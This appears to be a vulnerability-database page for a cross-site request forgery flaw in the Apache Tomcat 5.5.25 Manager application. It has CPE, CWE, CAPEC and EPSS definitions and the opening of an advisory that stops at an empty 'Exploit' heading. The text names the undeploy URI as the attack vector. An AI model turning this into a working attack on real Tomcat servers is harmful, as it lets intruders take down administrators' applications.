CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

Cross-site request forgery (CSRF) vulnerability in the Manager application in Apache Tomcat 5.5.25 and earlier allows remote attackers to hijack the authentication of administrators for requests that manipulate application deployment via the POST method, as demonstrated by a /manager/html/undeploy?path= URI. NOTE: the vendor disputes the significance of this report, stating that "the Apache Tomcat Security team has not accepted any reports of CSRF attacks against the Manager application ... as they require a reckless system administrator.
Cross-Site Request Forgery (CSRF) The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Summary
1)Introduction
2)Vulnerability Description
3)Exploit
3.1 Undeploy Applications
+---------------------------------------------------------------------------------------------------------------------------------+
1) Introduction
Apache Tomcat is an open source software implementation of the Java Servlet and JavaServer Pages technologies.
The Java Servlet and JavaServer Pages specifications are developed under the Java Community Process.
2) Vulnerability Description
Apache Tomcat 5.5.25 and below (other versions could be affected) is prone to a CSRF vulnerability affecting the Manager application
(which is the component utilized to start/stop/deploy/undeploy applications) in order to perform the following malicious activities:
- stop an existing application
- undeploy an existing application
- deploy a new application
In this Advisory I will only demonstate how to automatically undeploy an existing application.
3) Exploit
3.1 Undeploy Applications
